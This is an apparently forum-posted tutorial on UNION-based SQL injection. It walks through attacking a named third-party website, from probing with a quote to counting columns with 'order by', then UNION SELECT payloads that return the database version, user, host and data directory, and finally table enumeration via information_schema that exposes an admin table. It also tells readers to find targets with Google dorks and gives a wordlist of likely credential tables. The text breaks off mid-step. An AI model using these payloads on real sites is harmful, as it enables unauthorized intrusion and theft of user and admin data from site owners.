SQL injection TUTORIAL

SQL injection TUTORIAL


[Image: 0R4sh.png]
[Image: Ml9LZ.png]



 SQLi Tutorials
Difficulty: Basic Level 2 and Intermediate
Requirements: Patience,intuition and understanding
Estimated time to read the chapter: 25-30 min (reading thoroughly will help you understand better)
The method used to extract information from a database in a website using SQL injection queries on the URL/Address bar is what were gonna learn today.
Previous tutorial: Bypassing Login Pages with SQL injection (Basics and Intermediate)

  • There are many types of SQL injection when it comes to web hacking
  • What we learned in the previous tutorial was the only Basics where were used it to bypass Admin/User logins.
  • However, what will you do if cant bypass it even though its vulnerable to SQL injection?
  • Well, the answer is simple. You do the process on your URL/Address bar instead of the text boxes on an admin/user login page



Common Types of SQL injection are:
Code:
UNION Based SQL injection
String Based SQL injection
Error Based SQL injection
Double Query SQL injection
Blind SQL injection
MsSQL injection
What we are going to learn today is what we call UNION Based SQL injection
Alright before we start we need to know how a website works while it stores Login information/pages/pictures/etc. in its database
Lets just say that our website will look like this :
"http://www.site.com/index.php?id=5"
Notice at the end of the URL, "id=5"
This is what the query will look like

PHP Code:
SELECT * FROM index
WHERE id = 5 
Alright, now you know a bit of how the website works, lets get hacking Hehe



Step1: Finding the vulnerability in a website
Itll be like a small puzzle you have to solve. See, you cant just hack a website like http://www.site.com -.-
To hack a website, you need to scan it yourself by clicking links and find out if theres something like "index.php?id=XXX" where "XXX" is a random integer (number) orstring (word).
Alright now to find sites vulnerable to SQLi is using Google Dorks.
If you dont know how to use dorks, visit Part 1 of this project to learn all about them
Once youve found a site vulnerable to SQLi, its time to execute queries.
For this tutorial, well be using "http://www.leadacidbatteryinfo.org" as an example.

Try browsing the website and see if you can find links like "index.php?id=xxx"
It can be anything like "details.php?id=xxx" or "gallery.php?id="
Just find an address with a number at the end of the URL
Heres what I found "http://www.leadacidbatteryinfo.org/newsdetail.php?id=51"

Now to test for vulnerabilities is by ADDING a quote "  " at the end of the url i.e after the integer or string
So itll look like this,

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51

Now youll notice an error saying

Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1
Spoiler (Click to Hide)
[Image: 2yod1.png]
This shows that the website is vulnerable to SQL injection.
How is this possible?
Look at the query when we added a quote "  "

PHP Code:
SELECT * FROM article
WHERE id = 5  
Notice that, their database never stored "id = 5 "
This is why they return an error result
Now that we know the website is vulnerable to SQL injection, lets advance to the next process




Step2: Finding the number of columns a website has
This is the part where most people had commonly misunderstood.
To get to the point, what were about to do is find how many columns the website has using NoError/Error statements.
Alright lets get started.
The query well be using is "order by X--" where "X" is a random integer (number)
Start by entering "order by 25--"
Enter it at the end of the URL, so itll look like this

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 25--
Error, there are no 25 columns, so itll be less than 25

Now lets try "order by 20--"

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 20--
Still Error, so there are less than 20 columns

How about we go down a bit to "order by 5--"

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 5--
aha! No errors. So lets see if there are more than 5 columns

Now lets go up to "order by 11--"

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 11--
Hmm, no errors I see. So its obvious that there could be more than 11 columns

See if we can increase to "order by 12--"

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 12--
Error! So this means the last number that returned no error is 11
Therefore, the website has 11 columns

Tips: 
An error while scanning for number of columns will look like this

Spoiler (Click to View)
While No errors will show the page as normal Smile



Step3: Now that we found the number of Columns, time to Execute the UNION SELECT statement
First off, we need to know what does "UNION SELECT" means
Lets say we have 2 tables, "users" and "admin"
Basically, UNION SELECT is a statement where all these information will be collected as one.
Look at this query

PHP Code:
SELECT * FROM users
UNION SELECT * FROM admin 
If we perform the UNION SELECT statement, we can get both users and admin information from their database
The point is that, UNION SELECT returns our results with the information we need
If you want to find vulnerable columns, use UNION SELECT
If you want to find version of database, UNION SELECT
If you want admin information! use UNION SELECT Hehe
Alright, now that we know something about the Union function, lets continue.

Take our website that has 11 columns and add a "UNION SELECT" statement.
Heres how our query will look like

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11--
This is what you would normally do if you use UNION function while SQL injecting a website

Focus on something like this, "index.php?id=-X UNION SELECT N--"
Where "X" is a random integer/string and "N" is the number of columns followed by two hyphens " -- " and another hyphen " - " beside "X"




Step4: Random numbers appear on screen, the next step
Alright Im pretty sure youll find a bunch of numbers showing up on the screen.
These are known as "vulnerable columns" which states that those vulnerable columns have stored data inside them we need to extract.
Heres how itll look like:

Spoiler (Click to View)
You need to inject the number at the very top (always at the very top)
So, in this case we have number "8"
Now you might be asking, what can I do with a vulnerable column?
Well heres what you can get-- INFORMATION!
You need a lot of information to study from the website, here are a couple of examples.

Replace the vulnerable column i.e number 8 with a statement
Statements:

Code:
@@version, version()
database(),
user(),
@@hostname
@@datadir
Their functions
@@version/version() = find the version of the database
database() = find the current database
user() = find the user information
@@hostname = Current hosting info
@@datadir = directory of the data of the website

To find the version of the database in the website, replace the vulnerable column i.e number 8 with "@@version" or "version()
Itll look like this

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,@@version,9,10,11--
Results:
Code:
5.1.52-log
So the database version is 5, which is good because itll be easier to SQL inject the website.
Note:
Database version less than 5 "<5" = you need to guess tables (a bit hard work)
Database version greater than 5 ">5" = easy to inject with another function i.e group_concat

If you ever want to SQLi a website with version <5, then you can guess the tables with the following below

Code:
user
username
usernames
admin
admins
users
manager
account
accounts
member
login
logins
members
tbl_user
tbl_users
tbl_admin
tbl_admins
tbl_member
tbl_members
tbladmins
memberlist
tbluser
tblusers
tblmanager
tblmanagers
tblclients
tblservers
adminuser
usertbl
userstbl
admintbl
adminstbl
id
tuser
tusers
uid
userid
user_id
auid
adminpass
LoginID
FirstName
LastName
cms_user
cms_member
cms_users
cms_members
cms_admin
cms_admins
user_admin
user_info
user_list
user_login
user_logins
user_names
userrights
userinfo
userlist
webadmin
webadmins
Webmaster
Webuser
product
products
tblproducts
tblproduct
tbl_tbadmin
Adminlogin
Well be knowing how to get the tables in the next step.
But for now, lets see what we can get with other statements
Lets try all statements at once shall we
The URL will look like this,

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(database(),version(),@@datadir,@@hostname,user()),9,1?0,11--
Results:
Code:
32908_leadacidbatteryinfoorg5.1.52-log/mnt/cluster/data/mysql1.myregisteredsite.com32908_user116602@lnh-www1h.bluehalo.myregisteredsite.com
3
We have almost every information we have about the website
Look close here, we used a command "group_concat"
Heres its function:
Group_concat = Gets every information at once i.e grouping them with the help of statements. Ex. group_concat(database())
Note:Group_concat wont work with versions less than 5




Step5:Getting the table names
What are tables?
Tables contain columns and columns contain the data
Its like a stack (table) of books (columns) and data inside the books (data inside the columns)
Alright, first lets look up some functions were gonna use to extract table names (Important)

Code:
group_concat = grouping up data to a specific statement
table_name = tables names to be shown on screen
from = location of a specified statement
information_schema.tables = information in the database with table names in it
table_schema = tables in a database
database() = current database in the website
0x0a = a Hex code that creates a new line for organizing tables in an order
Now lets combine those functions and make up a query that will give us the table names
So, heres what our link will look like:

Code:
http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(table_name,0x0a),9,10,11 from information_schema.tables where table_schema=database()--
In here, we replaced our vulnerable column with "group_concat(table_name,0x0a)"
and then we added a
"from information_schema.tables where table_schema=database()--"
after the last column (excluding the two hyphens after 11)
Results on table names:

Code:
pdigclicks ,pdigengine ,pdigexcludes ,pdigincludes ,pdigkeywords ,pdiglogs ,pdigsite_page ,pdigsites ,pdigspider ,pdigtempspider ,tbladmin ,tblbanner ,tblbanner_page ,tblfaq ,tblncategory ,tblnews
Spoiler (Click to View)
Alright now that weve found the tables, what youre gonna have to do is
that, you have to find tables where user/admin information are stored
In this case, "tbladmin" seems to be having an admin information stored in it.
Its all about predicting and expecting whats behind every table you see
Okay, before proceeding to the next step, make sure you remember the statements we used in order to get the tables.
Replace and Add the following
Vulnerable Column = replace with "group_concat(table_name,0x0a)"
After the last column = Add "from information_schema.tables where table_schema=database()--"
Also, dont forget about UNION SELECT before the column numbers and the hyphen ( - ) before "X" at index.php?id=X where "X" is a random integer/string




Step6:Getting Columns from Tables
Alright obviously, our next task is to get the column names from a specific table which in our case was "link download